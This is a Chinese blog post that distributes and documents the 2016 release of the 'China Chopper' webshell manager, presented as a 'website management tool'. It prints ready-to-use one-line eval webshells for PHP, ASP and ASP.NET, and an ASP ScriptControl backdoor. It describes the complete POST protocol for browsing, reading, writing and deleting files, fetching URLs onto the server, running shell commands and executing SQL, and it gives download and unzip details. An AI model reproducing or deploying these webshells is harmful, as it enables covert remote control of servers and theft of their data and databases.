0x00 中国制造, 黑客之刀

中国菜刀是中国安全圈内使用非常广泛的一款Webshell管理工具,此次老兵大牛进行了更新,界面更加优美,功能更加丰富,有图有真相!

0x01 验证

此次更新还自带了官网验证功能,妈妈再也不会担心我的webshell了。

0x02 软件说明

菜刀 / Caidao @ http://www.maicaidao.com/

1
菜刀,他是一款专业的网站管理工具

一、网站管理模块

(1)放在网站上的脚本程序分两种

1.1)“一句话(Eval)”:

PHP, ASP, ASP.NET 的网站都可以,支持https。下面的代码放在网站目录即可开始管理,比FTP好用多了是不是:

1
2
3
PHP:    <?php @eval($_POST['caidao']);?>
ASP:    <%eval request("caidao")%>
ASP.NET:    <%@ Page Language="Jscript"%><%eval(Request.Item["caidao"],"unsafe");%>

1.2)自己开发的脚本程序(Customize):

理论上支持所有动态脚本,只要正确与菜刀进行交互即可。调用方法请参阅后面的 “Customize模式菜刀和服务端通信接口”。

(2)常用功能介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
2.1)文件管理:[特色]缓存下载目录,并支持离线查看缓存目录;
 
2.2)虚拟终端:[特色]人性化的设计,操作方便;(输入HELP查看更多用法), 超长命令会分割为5k字节一份,分别提交。
 
2.3)数据库管理:[特色]图形界面,支持MYSQL,MSSQL,ORACLE,INFOMIX,POSTGRESQL,ACCESS, 以及支持ADO方式连接的数据库。
 
2.4) 自写脚本(只有Eval端才支持):
 
        通过简单编码后提交用户自己的脚本到服务端执行,实现丰富的功能,也可选择发送到浏览器执行。
 
        如果要写自己的CCC脚本,可以参考一下CCC目录下的示例代码, 相信你也可以写出功能丰富的脚本。
 
        可以在官网下载别人的CCC脚本,或分享你的得意之作。

(3)配置框填写说明

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
  ----------------
  A)  数据库相关:
  ----------------
  PHP:
  <T>类型</T> 类型可为MYSQL,MSSQL,ORACLE,INFOMIX,POSTGRESQL中的一种
  <H>主机地址<H> 主机地址可为机器名或IP地址,如localhost
  <U>数据库用户</U> 连接数据库的用户名,如root
  <P>数据库密码</P> 连接数据库的密码,如123455
  <N>默认库</N> 默认连接的库名
 
  <L>utf8</L> 这一项数据库类型为MYSQL脚本为PHP时可选,不填则为latin1
 
  ASP 和 ASP.NET:
  <T>类型</T> 类型只能填ADO
  <C>ADO配置信息</C>
  ADO连接各种数据库的方式不一样。如MSSQL的配置信息为
      Driver={Sql Server};Server=(local);Database=master;Uid=sa;Pwd=123456;
 
  Customize:
  <T>类型</T> 类型只能填XDB
  <X>与Customize 脚本约定的配置信息</X>
  菜刀自带的Customize.jsp数据库参数填写方法如下(两行):
  MSSQL:
      <X>
      com.microsoft.sqlserver.jdbc.SQLServerDriver
      jdbc:sqlserver://127.0.0.1:1433;databaseName=test;user=sa;password=123456
      </X>
  MYSQL:
      <X>
      com.mysql.jdbc.Driver
      jdbc:mysql://localhost/test?user=root&password=123456
      </X>
  ORACLE:
      <X>
      oracle.jdbc.driver.OracleDriver
      jdbc:oracle:thin:user/password@127.0.0.1:1521/test
      </X>
 
  -------------
  B) 其它配置:
  -------------
 
  添加额外附加提交的数据,如ASP的新服务端是这样的:
  <%
  Set o = Server.CreateObject("ScriptControl")
  o.language = "vbscript"
  o.addcode(Request("SC"))
  o.run "ff",Server,Response,Request,Application,Session,Error
  %>
  那么,菜刀在配置处填入:
  <O>SC=function+ff(Server,Response,Request,Application,Session,Error):eval(request("caidao")):end+function</O>
  然后以密码caidao来连接即可。
 
  默认终端程序路径设置示例:
  <SHELL>/bin/sh</SHELL>
 
  虚拟终端默认命令设置示例:
  <CMD>whoami</CMD>
 
  文件管理默认打开的目录设置示例:
  <CD>c:\windows\temp\</CD>
 
 
如果你网站开通了HTTP登录验证,可以这样填地址:
 
  http://user:pass@maicaidao.com/admin.asp
  用户名密码中的特殊字符可用URL编码转换。
 
 
  【20160620后的版本多了个文件caidao.conf】
 
   这个文件是必须有的,里面的各节点一个也不能删,不然程序运行会出错!
   默认调用的是caidao.conf,菜单里有个“加载配置文件”的菜单项,可以切换配置文件。
   这个文件必段存为UNICODE编码!
   各节点简单介绍一下:
  <FLAG>  返回的内容分隔符,只限三个字符,用生辟点的字符吧。
  <UA>    自定义User-Agent的值
  <K1>    POST的第一个参数名称,不再是原版本固定的z1
  <K2>    同上
 
  <PHP_BASE>  这是PHP脚本的基本代码,其它的功能代码最终会传到这里面,注意里面的%s %d这样的参数
  <ASP_BASE>  同上
  <ASPX_BASE> 同上
  <PHP_BASE.加密示例> 这个不会用到,如果临时复制出来一个节点,可以取一个不同的节点名字,不要重名了。
      这里示范的是如何把PHP_BASE的内容加密发送。
      相信你会做得更好。
  <GETBASEINFO>
  <SHOWFOLDER>
  <SHOWTXTFILE>
  <SAVETXTFILE>
  <DELETEFILE>
  <DOWNFILE>
  <UPLOADFILE>
  <PASTEFILE>
  <NEWFOLDER>
  <WGET>
  <SHELL>
  <RENAME>
  <SETTIME>
  -----------上面这些,你懂的,就不费篇幅了
  <DB_PHP_MYSQL_DBLIST>       PHP脚本刚连接时调用这里,给出库列表
  <DB_PHP_MYSQL_TABLELIST>    点击库调用,显示数据表
  <DB_PHP_MYSQL_COLUMNLIST>   点击数据表调用,显示数据表字段
  <DB_PHP_MYSQL_EXECUTESQL>   执行SQL,分别处理查询和执行并给出结果。
  ....
  接下来的几样都是PHP连其它库的,大同小异。
  <DB_ASP_ADO_DBLIST>
  <DB_ASP_ADO_TABLELIST>
  <DB_ASP_ADO_COLUMNLIST>
  <DB_ASP_ADO_EXECUTESQL>
  上面是ASP管理数据库的脚本,用ADO来整的。
  <DB_ASPX_ADO_DBLIST>
  <DB_ASPX_ADO_TABLELIST>
  <DB_ASPX_ADO_COLUMNLIST>
  <DB_ASPX_ADO_EXECUTESQL>
  ASPX的,当然还有其它好用的方式,看你的习惯来改了。

二、记事本

1
忽然觉得有个地方记录点东西还是挺方便的。

三、浏览器

1
2
3
就是一个专用的网页浏览器,
Post浏览/自定义Cookies,/执行自定义脚本/自动刷新页面/同IP网页搜索。
如果有ip.dat库,在状态栏会显示此网站的IP,国家代码。

新版本去掉了一些不想用的功能。


四、文件说明:

1
2
3
4
5
6
7
8
9
10
11
caidao.exe  菜刀程序
db.mdb      菜刀的主数据库
caidao.conf 配置文件(重要,千万别删除)
cache.tmp   菜刀的缓存数据库(可删除)
readme.txt  你现在正在看的(可删除)
ip.dat      一个IP库,用于IP地址识别(可删除)
<CCC>       菜刀的自写脚本目录(可删除)
<Customize> Customize模式的服务端(可删除)
    Customize.aspx  这是一个C#的示例服务端(全功能)
    Customize.jsp   这是一个jsp的示例服务端(全功能)
    Customize.cfm   这是一个cfm的示例服务端(文件管理,虚拟终端)

五、附Customize模式菜刀和服务端通信接口

其它语言的服务端代码可按此接口来编写(请参照Customize.jsp/Customize.cfm/Customize.aspx)

例:菜刀客户端填写的密码为pass,网页编码选的是GB2312(Jsp服务端会用到此参数)
注:所有参数都以POST提交,
返回的数据都要以配置文件caidao.conf中的FLAG节点填写的标记分隔
提交的参数z0.z1.z2...
注:返回的错误信息开头包含ERROR://
注:\t代表制表符TAB,\r\n代表换行回车,\n代表回车
注:数据库配置信息是一个字符串,服务端脚本可以对此字符串格式进行自定义。

[得到当前目录的绝对路径]
提交:pass=A&z0=GB2312
返回:目录的绝对路径\t,如果是Windows系统后面接着加上驱动器列表
示例:c:\inetpub\wwwroot\ C:D:E:K:
示例:/var/www/html/

[目录浏览]
提交:pass=B&z0=GB2312&z1=目录绝对路径
返回:先目录后文件,目录名后要加/,文件名后不要加/
示例:
目录名/\t时间\t大小\t属性\n目录名/\t时间\t大小\t属性\n
文件名\t时间\t大小\t属性\n文件名\t时间\t大小\t属性\n

[读取文本文件]
提交:pass=C&z0=GB2312&z1=文件绝对路径
返回:文本文件的内容

[写入文本文件]
提交:pass=D&z0=GB2312&z1=文件绝对路径&z2=文件内容
返回:成功返回1,不成功返回错误信息

[删除文件或目录]
提交:pass=E&z0=GB2312&z1=文件或目录的绝对路径
返回:成功返回1,不成功返回错误信息

[下载文件]
提交:pass=F&z0=GB2312&z1=服务器文件的绝对路径
返回:要下载文件的内容

[上传文件]
提交:pass=G&z0=GB2312&z1=文件上传后的绝对路径&z2=文件内容(十六进制文本格式)
返回:要下载文件的内容

[复制文件或目录后粘贴]
提交:pass=H&z0=GB2312&z1=复制的绝对路径&z2=粘贴的绝对路径
返回:成功返回1,不成功返回错误信息

[文件或目录重命名]
提交:pass=I&z0=GB2312&z1=原名(绝对路径)&z2=新名(绝对路径)
返回:成功返回1,不成功返回错误信息

[新建目录]
提交:pass=J&z0=GB2312&z1=新目录名(绝对路径)
返回:成功返回1,不成功返回错误信息

[修改文件或目录时间]
提交:pass=K&z0=GB2312&z1=文件或目录的绝对路径&z2=时间(格式:yyyy-MM-dd HH:mm:ss)
返回:成功返回1,不成功返回错误信息

[下载文件到服务器]
提交:pass=L&z0=GB2312&z1=URL路径&z2=下载后保存的绝对路径
返回:成功返回1,不成功返回错误信息

[执行Shell命令(Shell路径前会根据服务器系统类型加上-c或/c参数)]
提交:pass=M&z0=GB2312&z1=(-c或/c)加Shell路径&z2=Shell命令
返回:命令执行结果

[得到数据库基本信息]
提交:pass=N&z0=GB2312&z1=数据库配置信息
返回:成功返回数据库(以制表符\t分隔), 不成功返回错误信息

[获取数据库表名]
提交:pass=O&z0=GB2312&z1=数据库配置信息\r\n数据库名
返回:成功返回数据表(以\t分隔), 不成功返回错误信息

[获取数据表列名]
提交:pass=P&z0=GB2312&z1=数据库配置信息\r\n数据库名\r\n数据表名
返回:成功返回数据列(以制表符\t分隔), 不成功返回错误信息

[执行数据库命令]
提交:pass=Q&z0=GB2312&z1=数据库配置信息\r\n数据库名&z2=SQL命令
返回:成功返回数据表内容, 不成功返回错误信息
注意:返回的第一行为表头,接下去每行分别在列表中显示,列数要求一致。行中的每列后加上\t|\t标记,每行以标记\r\n为结束


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
菜刀 七岁了 感谢有你一路陪伴成长!
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
                L408179

0x03 下载

1
2
3
4
5
6
7
8
9
10
11
 
解压密码:www.maicaidao.com
 
压缩包caidao-20160620-www.maicaidao.com.zip:
MD5: 75F9C0EA9CE2BA266560FE3364127AE3
SHA1: 3C87E017E3CF77C06827C587E43F902E6AF7B6B8
 
caidao.exe:
MD5:AC86066FFD58779F4C0DB5030574B0CB
SHA1: 02C1725FA5865A4BE0F4A040BFDBC4B30B628D8C

转载请注明来自4ido10n's Blog文章《最新中国菜刀caidao-20160620下载和说明》

最新中国菜刀caidao-20160620下载和说明的更多相关文章

  1. 【Web Shell】- 技术剖析中国菜刀 – Part I

    这里的中国菜刀不是指切菜做饭的工具,而是中国安全圈内使用非常广泛的一款Webshell管理工具,想买菜刀请出门左拐东门菜市场王铁匠处.中国菜刀用途十分广泛,支持多种语言,小巧实用,据说是一位中国军人退 ...

  2. Bugku-CTF分析篇-中国菜刀(国产神器)

    中国菜刀 国产神器

  3. 小白日记51:kali渗透测试之Web渗透-WebShell(中国菜刀、WeBaCoo、Weevely)

    webshell 本质:<?php echo shell_exec($_GET['cmd']);?> windows平台 中国菜刀官网:胖客户端程序,国产中比较优秀的webshell,适用 ...

  4. CTF-练习平台-Misc之 中国菜刀,不再web里?

    八.中国菜刀,不再web里? 下载文件后解压,是一个数据包,用wireshark打开,题中说的是菜刀,那就找http协议,首先过滤出http协议包 在第四个里面找到一句话木马 Flag应该在木马之后拿 ...

  5. 2015年最新中国知网CNKI免费账号直接入口

    以下是Free9免费资源网小编收集整理的2015年最新中国知网CNKI免费账号直接入口,现免费分享给大家(仅供测试使用),此类文献数据库资源有时效性,希望对您的学习.工作上有所帮助! 中国知网直接入口 ...

  6. Android最新源码4.3下载-教程 2013-11

    Android最新源码4.3下载-教程 有的下载会出现问题: 需要 修改manifest.xml中的fetch: "git://Android.git.linaro.org/"  ...

  7. eclipse导入lombok后打不开(如果你的lombok不是最新的,那就来下载最新的)

    如果你的不是最新的,去这里下载最新版的,先点击左上角的Download红方块,然后再点击下图中的位置 https://projectlombok.org/ 下载完后把eclipse关掉,双击下载的ja ...

  8. 关于中国菜刀,如何"切菜"

    介绍 经典标题党,中国菜刀有大牛已经分析过了->传送门(http://blog.csdn.net/p656456564545/article/details/49671829).博主PHP刚接触 ...

  9. 【Web Shell】- 技术剖析中国菜刀 - Part II

    在第一部分,简单描述了中国菜刀的基本功能.本文我将剖析中国菜刀的平台多功能性.传输机制.交互模式和检测.我希望通过我的讲解,您能够根据您的环境检测出并清除它. 平台 那么中国菜刀可以在哪些平台上运行? ...

随机推荐

  1. C# winform控件之listview学习积累

    //1.用key给ListViewItem 的 SubItems赋值 ListViewItem listViewItem= listView1.Items.Add("第一列文字") ...

  2. 通用easyui查询页面组件

    easyui查询页面组件使用指南 本组件开发需求:信息系统的查询页面基本是包括:搜索区域,列表显示区域,按钮条. 1.录入一个查询语句(如:select * from Strudents),录入列表显 ...

  3. Delphi iOS 开启文件共享 UIFileSharingEnabled

    Apple 在 iOS 提供了文件共享(FileSharing)功能,让 App 有一个对外窗口的目录,透过 iTunes 可以任意管理这个目录的文档内容(可拖入文档,也能将文档拖出备份). 如果 A ...

  4. 编译gcc

    下载源码 自GNU FTP站下载GCC. 自Infrastructure页面下载四个库的源代码,即GMP.MPFR.MPC以及ISL(ISL非必需). 也可以不手工下载,执行源码中的./contrib ...

  5. 关联查询 join on 和比较运算符 in

    join on多表之间的关联查询 写法select 字段 from 表1 t join 表2 s on t.字段1 = s.字段1 where 条件: 也可以这么写select 字段 from 表1 ...

  6. 第 15 章 CSS 文本样式[下]

    学习要点: 1.文本总汇 2.文本样式 3.文本控制 主讲教师:李炎恢 本章主要探讨 HTML5 中 CSS 文本样式,通过文本样式的设置,更改字体的大小.样式以及文本的方位. 一.文本总汇 本节课, ...

  7. 习题: codevs 2492 上帝造题的七分钟2 解题报告

    这道题是受到大犇MagHSK的启发我才得以想出来的,蒟蒻觉得自己的代码跟MagHSK大犇的代码完全比不上,所以这里蒟蒻就套用了MagHSK大犇的代码(大家可以关注下我的博客,友情链接就是大犇MagHS ...

  8. 对chain.doFilter(request,response)的理解

    他的作用是将请求转发给过滤器链上下一个对象.这里的“下”指的是哪里 ? 指的是下一个filter,如果没有filter那就是你请求的资源. 一般filter都是一个链,web.xml 里面配置了几个就 ...

  9. 使用Bower作为Web包管理器

    Bower是一个简单易用的Web包管理器,通过它我们可以非常简便的安装各种Web框架和库,同时它也负责管理不同包之间的关系依赖. 安装Bower Bower需要 npm 和 Git 的支持,在安装Bo ...

  10. 如何使用 HTML5 Canvas 制作水波纹效果

    今天,我们继续分享 JavaScript 实现的效果例子,这篇文章会介绍使用 JavaScript 实现水波纹效果.水波效果以图片为背景,点击图片任意位置都会触发.有时候,我们使用普通的 Javasc ...